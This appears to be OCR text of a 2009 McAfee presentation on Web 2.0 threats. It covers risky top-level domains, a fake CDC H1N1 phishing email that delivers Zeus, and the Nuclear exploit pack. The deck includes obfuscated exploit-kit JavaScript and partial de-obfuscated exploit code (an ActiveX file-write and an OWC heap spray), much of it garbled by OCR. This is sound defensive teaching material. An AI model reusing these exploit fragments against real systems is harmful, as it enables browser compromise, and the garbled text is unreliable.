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Web 2.0 Update
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Potential Threat Areas — Just an Example... W McAfee
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Potential Threat Areas: Want More? U McAfee

Sponsared Listings

Acai Berry EXPOSED (Official Report)

® Pop U nder Health Reporter Discovers the Shocking Truth, Read this Warning Now

woww HealthMNews6.com

— Source: MSNBC.com

100% Accurate Penny Stocks
Perfect 2009 Track Record! Sign Up Free For Picks That Rise Up To 803%
wevew BestDamnPennyStocks.com

Springfield Mom: Lose 471bs Following 1 Rule
1 Cut Down 47 |bs of Stomach Fat In A Month By Obeying This 1 Old Rule
RachelRayBlogs.com

28 Year Old Makes $21,000 Online?
Shocking repaort reveals truth behind 22 yr ald making $21K in 3 months
wonw PaCourierMews . com

BREAKING: Mom Loses 52 Ibs With 1 Rule!
1 Cut Down 52 |bs of Stomach Fat In & Month By Obeying This 1 Old Rule
www RachelRayBlogging.com

* Pop Under
— Source: CNN.com

ORBITZ HOTELS
HOLE 1
PAR 2
YOUR SCORE 0

Friends don’t let friends get bored at work. Pass it on! EJTEIAFEriEnd) GRBITZ




Mapping the Mal Web W McAfee

What countries are riskiest to visit on the Internet?

LEVEL OF RISK

Lower Higher

This map locks at each
country top-level domain
(TLD), and rates them
based on how many risky
websites we found during
our safety tests.




Mapping the Mal Web @ McAfee

A portrait of the world’s riskiest top-level domains (TLDs)

Key Findings:

 Overall, an unweighted 5.8% of all domains we tested for this report
were risky

« Seven of the 20 riskiest TLDs were from the Asia-Pacific region
 Six were so-called generic TLDs like .COM (Commercial)
* Three were from former Soviet republics




Mapping the Mal Web © McAfee

The five TLDs with the greatest risky registrations are:

« .CM (Cameroon) with a weighted risk of 36.7%

« .COM (Commercial) with a weighted risk of 32.2%

« .CN (People’s Republic of China) with a weighted risk of 23.4%
« WS (Samoa) with a weighted risk of 17.8%

« .INFO (Information) with a weighted risk of 15.8%
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Mapping the Mal Web @ McAfee

« The United States TLD (.US) is the riskiest Americas TLD with a
weighted risk of 5.7% and a ranking of 17th worldwide

« Romania (.RO) was the riskiest TLD for downloads, with 21.0% of
domains with downloads testing risky for those files

* .INFO (Information) was the riskiest email TLD with 17.2% of sites with
sign-ups resulting in unwanted email

* The Least Risky:
— Governmental (.GOV)
— Japan (.JP)
— Educational (.EDU)
— lreland (.IE)

— Croatia (.HR)

— Note: This is for overall domain risk. There are numerous examples of malicious
individual URLs within .HR and .EDU domains. Second, we have also found
malicious or risky content served from Croatia but registered to non-Croatian TLDs
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Blended Threats @ McAfee
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Four Characteristics of a Blended Threat W McAfee

A blended threat typically includes:

1 More than one means of propagation -- for example, distributing a hybrid
virus/worm via email that will self-replicate and infect a Web server, so that
contagion will spread through all visitors to a particular site;

2 Exploitation of vulnerabilities, which may be preexisting or even caused by
malware distributed as part of the attack;

The intent to cause real harm (rather than just causing minor computer
3 problems for victims), for example, by launching a denial of service (DOYS)
attack against a target, stealing sensitive information, or delivering a Trojan
horse that will be activated at some later date;

4 Automation that enables increasing contagion without requiring user actions,
such as opening attachments

Searchsecurity.com Definition:

http://sea{%hsecurity.techtarget.com/sDefinition/O, ,sid14_gci961251,00.html




Phishing — Email part of a blended threat WU McAfee

State Vaccination Program

From: "Centers for Disease Control and Prevention {CDC)"
<gleris@cdcmailsystem.gov=

To: s m@z m

Date: Today 12:35:09

You have received this e-mail because of the launching of State Vaccination HIN1
Program.

You need to create your personal H1N1 (swine flu) Vaccination Profile on the cdc.gov
website. The Vaccination is not obligatory, but every person that has reached the age of
18 has to have his personal Vaccination Profile on the cdc.gov site. This profile has to be
created both for the vaccinated people and the not-vaccinated ones. This profile is used
for the registering system of vaccinated and not-vaccinated people.

Create your Personal HIN1 Vaccination Profile using the link:

create personal profile

Centars for Dsease Contral and Prevention (COC) - 1600 Chifton Rd - Atlanta GA 30333 - 800-CDC-INFO (B00-232-4630
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Targeted attacks at known marks
— Email addresses accurate
— Small numbers of mails sent

Many government and financial
organizations targeted in US and
EMEA

Attack vectors:

— Documents with embedded
malware

— URL links to malware
Data stolen:

— Keystrokes

— Screenshots

— PGP keys

— Passwords




Social Engineering — Web side of blended threats W McAfee

* The link is an executable that installs a VERY recent Zeus trojan
variant.

« Zeus is an easy-to-use tool for constructing trojans and has been
associated with numerous botnets.

EDE Centers tor Disease Control and Prevencion
Lt Yo Dinline Sourn

® Far Credible Healkh Infzrmation

Personal HIN1 Vaccination Profile

H1M1 Vaccination
Profile

rour Persenal HIML Vaccinating Profile is an electronic document, whidh contains yowr nams, your conktad
details and your madical data (what land of llinesses vau have sustained in yaur childhood ar what kind of
allergy you Rave to some cartain drug). Al instrechans you nesd are indisdad in the archivie balow:

2 Yo Tenporary 10 {walid for 48 houss) H1IM1=-157437 7270
" HiM1 Waccination Profile Dowrdoad Archive {110Kk)

Page last modified Tuasday, Dacember 1, 2009

Cantact U

EAFER-HEALTHIEN: PEQPLE™
Cantars for Disaass Contool and Pravardisn 1600 Clitan Rd. Atlanta, G4 30333, USA Laparmart of Health
and Human Sardcs

S00-COC-IMFO [B00-232-4658]TTy: (EA8) 233-£348, 24 Howa/Every Day - cdemfo@cdcgaw




Malware — It isn’t just for binaries anymore

i

Eunction S5() 1

i

LEY |
ret = new ActiveXObject (“snpvw. Snapshot Viewsr Contrel.1%):
1f (ret)i

var arbitrary file = p_url:
var dest = "C:/Program Files/Outlack ExpressS/wab.exe’;

1
1

documeant .. write
"Zobject classid="claid:FOE42D60-368C-11D0-ADB1-00A0CP0DCEDS" dd="attack "></ocbject>"

b

attack. SnapshotPath = arbitrary_file;

getTimeout ("window. location = "ldap://127.0.0.1%", 2000);
attack. Compressediath = Jdest;

attack. PrintSnapshot (arbitrary file, dest):

catch (e
Javall):

1

java () :
return

function SPD() |
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Lry

{

ab] = new ActiveXObject ("OWCI1D. Spreadsheet™) :
if (lebidi

1

abd = new ActiveXobject ("OWCll. Spreadsheet®)

if (ebi)

Var array = néw ACrTay ()i
var ls = 0x81000 - (shellcode.length = 2}
var bigblock = unescape ("%ulblcialbL0c") ;

U McAfee




Malware in Web 2.0 W McAfee

ActiveX Controls &

Windows Executables Java Applets & JavaScript (in HTML, Visual Basic for Apps
& Dynamic Link Applications Stand-alone, in PDF). macros in Office
Libraries Visual documents

Browser Helper
Objects

Basic
Script

* Buffer overflow exploit
* Trojan downloader

* Shell code

* Several other methods

Active code Fragments

extracted and executed

System Breeched

i . System Security 2009 successfully installed |
\ lick 2 ko reboot wour system,
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So, what is the latest?

VI RU S Virustotal is a service that analyzes suspicious
files and facilitates the quick detection of viruses,

T T AL worms, trojans, and all kinds of malware detected
by antivirus engines. More information...

File index.html received on 2009.12.02 20:30:51 (UTC)
Current status: finished
Result: 4/41 (9.76%)

84 Compact Print results &
Eﬂvirus Version Last
qu 2009
La 3 2009
iv 2009
Antiy-AVL 2009.
AButhentium 20098.12.02 -
Avast 4.8.1351.0 200%8.12.02 J5:Downloader
VG 8.5.0.428 2009.12.02 -
BitDefender 1 20098.12.02 -
CAT-QuickHeal 10.00 2009.12.02 -
ClamAV 0.94.1 20098.12.02 -
Comodo 3103 2009.12.01 -
Drieb 5.0.0.12182 20098.12.02 -
eSafe 7.0.17.0 2009.12.02 -
eTrust-Vet 35.1.7183 20098.12.02 -
F-Prot 4.5.1.85 2009.12.02 -
F-Secure 9.0.15370.0 2009.11.29 -
Fortinet 4.0.14.0 2009.12.02 -
GData 18 200%8.12.02 J5:Downloader
Ikarus T3.1.1.74.0 2009.12.02 -
Jiangmin 13.0.900 20098.12.02 -
K7AntiVirus 7.10.910 2009.12.02 -
Kaspersky 7.0.0.125 2009.12.02 Trojan-Downloader.JS.Kazmet.b
Mchfee 581% 2009.12.01 -
McAfeetArtemis 5819 2009.12.01 -
2:‘:?::;__011 6.8.5 2009.12.02 Heuristic.BehavesLike.JS.Infected.A
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Threat of The Week: Going Nuclear U McAfee

 Afriend of mine came across a new web based
exploit pack called the “Nuclear” exploit pack.

« Below is the login for the administrator of this pack

« The author is offering 24/7 technical support

Bxon B cuctemy

BeeagWTe napons!

I I g 1

{c) nuc_pack
nuclear icq 227 200020
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hreat of The Week: Going Nuclear U McAfee

he exploit pack is heavily obfuscated...

rch  Pluging

L a5 ®
[ d McAfee
e Open i sare | ey e 2 e .
— e T
& indexchtml c%a0%58%75%508%99%%aa%%ataltactaa®99%aatbli97%9%%a1%a4%9d%73%45%42%ab%9%d%act8ctaliabi9dia7tadtacto0s5ftaftaltabifcta’taf166%a4%a7%9b%9%%ackalsa771a68508%7 =&
¢ sapt ths.dfozaepwiofp=faise; func. 5%58%5a%a4%9c$99%a8372367367369%6a36f366368366366%66%69%5a%35f36436a368%568%68%61%73%45%42%9%%actact99%9b%a3s66%7bta7%a5%ablsaat9dsab%ab$9d39c388399%acsa

D%58%75%58%9c¥9d%ab%act73%45%42%99%ackact99%9b%a3%66%88%aataliabtactBbtabt99%aBiabialta7sact60¥99%aat9ataltactaat99%aatblif7%% %altads9ds64%9ct9dsabia
c%61%73%45%42%b5%45%42%b5%9b%99%act9b%als6039d3618b34a2499%ae499460%615734b5%45%42%a2%99%ae499460%61373%aa%%d%actadtaatabs73445%42%b5%45%42%%%ad%a64%9
b%actal%a7%$a6%58%8b%88%7c360%61%b3%45%42%actaatblib3%45%42%a7%9a%a2%58%75%58%a6309d%af$58%79%%b%actalaet9ds90%87%9a%a2%3d39b3act60%5a%87%8BE37Tb369%68%6
6%Bb%ab%aat?dif9%9ctabtalidds0draci5at61t73%45%42%a14%e460%59%a7139a%a2%614508%b3%a749a%a2358%754508%a6%9d3art58%79%9b%actaliaect9d390%874%9a%a2%9d¥9%b%acts
0%5a%B87%6f37b$6946946638b%aB%aas9d%99%9c8absalt9ds9dsact5at613738413b5%45%42%a1%92560%a7%9a%a2561%b3%45%42%a0599%aa456%99%32a%22%994b14568%475%56%a6%%9d%a
f358%79%aa%aa%99%b1%60%61%73%45%42%ae%99%aa%356%a4%abs5B%75%58%68%b0%70%69%68%68%68%65360%ab%alt9d%ad%a439b%a759ct9d%66%a439d%acs9f%ac%als62%6a%61%735%4
5%42%ae%99%2a%50%0a%alt9f%9a%a4%a7%9b%a3%58%75%50%ad%a6%9dtabi9bt99%a0%9d%60%5a%5d%ad%60%0a460%9b45d%adi60%5a%6047b45a%61%73%45%42%af%a0%al%a4%9d%60%9
a$alyff$9a%ad%a739bta3466%a439d3ab39f3aciali743ad3abi6746a%61345%42%b3%%a%al193%a%a43a739b%a3363%975%39a%als9f$%a%a4%a73%b3a33733b5345%42%ae399%3aa%58%a
4%a0%58%75%508%Pa%ali9ft9atadta7i9bta3t66tabtadifatabtactaataliact9fs60%68864%a4%abi67%6a%61473%45%42%9c19d%ad489dtact9disSB6L9atalif9fifatadia749b%a3%73%4
5%42%%e3a7%2a%60%a1%75%68%73%a1%74%683b0%71%71%6236a%73%a1%63%363%61%58%b3845%42399%2a%aa%99%b1%93%a1%95358%75%50%a4%a0%56%63356%a4%a0858%63%58%ab%als9
d%a4%a4d%9b%a7%9c59dsT73445%425b5545342%45%4239d375%a6%2d%af$508%79%aa%aa599%b1%60%61573%45%42%9d%66%aB%ad3absals60%69%61573545%4259d366%a0%ad%abialsclse
a%6ls73%45%42%9d%66%aBtadtab%als60%6B8%61%73845%42%9dk66%aBkadbabtaltblsaftalsastdcka7saft61873845%42%9%e%a7%aa%60%al175%68%73%a1874%9d%66%a4%9dsab6%9f%a
c%al373%al363%63%61%b3%45%42%0e%a73aa%60%a2375368373%a2%74%69%68373%a2%63%63%61%b3345%342%ackaatblib3345%342%a7%%a%a2t66%7d%ae399%a4%ad$99%ac39d360%9d5%9
3%alt95%61%73%45%42%b5%45%42%0b%90%actIbial6080d%861%8458428b38b5%445%42%b5%45%42%b53%45842%aftaltatifcia7taft66%abtact?9%actadtabi7589d893%6b395850886345
FR5F873%45%42%9e%a7%aat60%a2%75%68%73%a2%74%69%6B%734a2%63%H53%618b3%45%42%actaatblib3%45%42%a7%9%a%a2¥66%a5%abs7ct99%act99%Bbsa7%adtaat9bs9ds87%9a%a2%9
d%9b%act60%$2d$2356bs95%61%735455425b5%45%42%9b%99%ac2b%a0%60%9d361%45%42%b3%b5%455425b5%45%42%ab%9d%actBc%alsass9dsa7sadsacs6055a%0b36b360%6135a%645%5
B%¥6a%68%68%68861%73%aat9dsactadsaatabs73%45%42%b5%45%42%b5%9b%99%act9b%alt60%9d%618b3%b5%45%42%8b%8bs60%61%73%aat9dsackadtaatabt73845%42%b5%45%42%%e%a
d%a6%9btactalia’sabs563a2%99%a2%99360%61%b33545%42%a2%99%aa%56%aa1af$a7584%90%8d%ac’ads75356%74%99%a08%aB3a4%9d%act5839b%a739c%9d375%5a%a53b1%9e366%h1%6
6%79%ab%aB8%a489d%act90366%4%b%ads99%absabi5atsnt99%aatfbtalialiactifdi75%5a%ab%abBiadi674abilcib6%a2899%aat5at58%afalifctactali75%5a%6bs68%66%5a%58%a0%9
d%$als9f3al0tact75%5a%6bi6BE6B%5at 764546344584 2%5f8748aB%99%aa%99%a5%58%a6%99%a5%9d%75%5a%9c899%ack99%5a458%ae499%adtads9ds75%5a%alkackackaBs72%867%67%9
f$a3%ab%9c$a0%66%9b%abt67%0e%a75aa%ad$a5367%3a1%a0%29%2F45d%6749d3b0%9d%66%a0%a0%5a035a876550463445%42%5f474%a85%59%aa%95%a5%50%a6%99%a5%9d%75%5a3%b%9%b5%5

e a%58%ae399%a4%adt9ds75%5a%69%5a%76%5f263%45%4285f374%67%99%aB8%aB8%a4%0d%act76%5f%73%45%42%a2%99%2a%58%386%92%81%a0%a2%8e3b0%90375%9c%a789b%adsas39dsabta
x;m 2 c%66%9b3aat9diP9%act9d17d%ad%9d%a5%9drabsactb0%35a%9c%albact5at61l873%45%42%06%92%01%a0%a2%0e4b0%90%66%altab6%a6%9d%aat80%8c3685%3684%75%aa%afva7464390%08d%a
DWORD 0 c$ad873%45%42%9c%a7%9%9btadta5%9d%abtact6639a3a789ctblib6489%aB%aB%9d%a689ct7btal%alsadt9cs60466492398F3a0%3a2%85b0%90%61573545%42%b5%45%42%al1%93568%60%8
ASCIL 5%7c%79%7b%60%61%b4%bd%88%7c%70%60%61%61%58%b3%58%b5%45%42%74%367%ab%%b%aataltaBiacs76%45%42 ' ></body></html><script> this,dfkozaepwrofp=false;function

Unicode f42¢cal0d644ad74dcfdf7676950d64d8¢56 () { var ngwptsxwpv="zdqdexofhign' ;var xxdnh=3354;function rhgfwhnmhqgp (dtxvgfjdgries) (return blpcofabgsdmsw; }

this.agfbg="ngrlgziplaoygam';this.endjwsnfjcymkff=false; function bhxehdjrgwkwnyw() [ Jvar xpOck6d = document.getElementById (ThGHgLv').value;function
pgbfj () (1var tiifdobdicewnl="gcwjdrhlyd';this.qtvtevhgvfbrsg="iwkbdotfalnwrop';var cGCwyzJ = unescape (xpOckéd) ;this.poakkcjyomau="mqtrbpwyfpinyff’;
function lhgslkyeajahavi (wnxanpcifrr) (return teublipa; jthis.scygra=false:var gfptbngsurvynir=3186;function nyluhpna() {)var ejzalsiyzdlty=
Tyomhaorivxwm';var GniMJ=arguments,callee.toString() :;function yakzahuajboe (swjvmbzaflw) (return vohnmitamnxgyt;)GnIMJI=GnJMJ,substr ("function '.length
)ithis. zigxrwfutwint="tipatvextcu’ ;var ayzkxxi="xijhj';GnIMJI=GnIMJ.substr (0, GnIMJ.indexOf (" (")) ;var rmowbne=6717;this.lulfkhid="apgfjkfnzavwer";
function naspwpmps {wnbhuxoavxcndh) {return yeaxavzcirvkr;}var KgstU=GnJMJ.substr (33) jvar psosglts=5146;function feimera (vxticcddsywbk) {return
ruriyncur; }function virhmpxrzquhgo () ()Jvar wdEV17re='";function mgetfkzex (xhdkrfaljirapb) (return wyftobt; jfunction zxeanaeaspnq() ()this.kdlignlf=
fzZmkvmxzhyljmhnx';this. jsmwevicexmakr=Ffalse;var moajeusngqslrm=1211;var nxjbfgq="hrvazwxvloues";for(var i=0;i<xpOckéd.length;i++) (wdEV17re+=

String. fromCharCode (cGCwyzJ, charCodeAt (i) -KgstU); jreturn wdEV17re;var jkbpz=3497;this.ieidlkatl=false; ldocument.write (
f42¢cal0d644ad74dcfdf7676958d64d8¢56()) sthis. dfkozaepwrofp=~false; </scxript>

Line: 1 Column: 1437
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Threat of The Week: Going Nuclear U McAfee

To make life easier we used Filelnsight to de-obfuscate the JavaScript to
expose the Seven(!) HTML based exploits (some old classics shown below)

Edit  Search  Plugins  Windows  Help

T N " H I D A Enter a URL here -
o, I # Direct - MCAf 3
as Get
2* | |[Enter your prowy 2s [ServerPortlhers ee

Mew Open Close Save || View
~ a5 Hex

Avert Labs
Navigation 1 unpacked-index.html X
& unpacked-indexchtml } -
& saipt var o scape("%US. .. DD () ;

return ;
}
function £885(){

try {
ret = new ActivexObject ("snpvw.Snapshot Viewer Contrel.l1"):
if (ret){
! var arbitrary file = p_url;
var dest = 'C:/Program Files/Outlook Express/wab.exe’;

document .. write (

"<object classid="clsid:FOE42D60-3668C-11D0-ADE1-00A0CP0DCEDST id="attack'></object>"
attack. 8napshotPath = arbitrary file;

setTimeout {'window.location "ldap://127.0.0.1"", 2000}

attack.CompressedPath = dest;

attack. Print8napshot (arbitrary_file, dest);

3
i
catch (&) {

Javal():
i
values + Java(:
return ;
— —
BE HEX }
Byte 0 function SBD(){
WORD 0 try {
DWORD 0 obj = new ActiveXObject ("OWC10.Spreadsheest™);
ASCI if (lebj){
Unicode: i

obj = new ActiveXoObject ("OWC1l. Spreadshest™);
}
if (ob3){
i war array = new Array();
var ls = 0x81000 - (shellcode.length * 2);
var bigblock = unescape ("$ulbOctulb0c™) ;
while (bighblock.length < ls / 2){

bigklock += bigblock:;
}
wvar lh = bigblock.substring(0,

1s / 2);

5] Seripting
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The McAfee Solution U McAfee

 Best of Suite Solutions

« Both Gateway and Endpoint Protection

» World Class “In-the-Cloud” Solutions

« World’s Largest Dedicated Security & Compliance Vendor
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The Essentials of Protection in Today’s Enterprise W McAfee

Protection must be: multi-protocol, bi-directional, proactive (rather than
reactive) and employ global reputation and deep content inspection
technologies.

o=l EMAIL
(]

INTERNET ‘
Email Traffic @ WEB
Web Traffic @ SYSTEMS
App Traffic @

DATABASES
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Protecting against Blended Threats W McAfee

* Deploy proactive protection on email

— Minimize SPAM exposure with 99%+ detection capability

— Stop zero hour mail threat with Reputation based protection
« Deploy proactive protection on web access

— Deploy reputation based Web filtering

— Filtering incoming web pages, on all web protocols, proactively for
malware, including encrypted traffic

— Apply protection to http, https and fitp traffic

— Apply reputation based Web filtering and malware protection on IM traffic
 Inspect all outbound email, web and file transfer traffic for data

leakage

— Define DLP policy

— Detect possible policy violations

— Enforce

— Audit and Report
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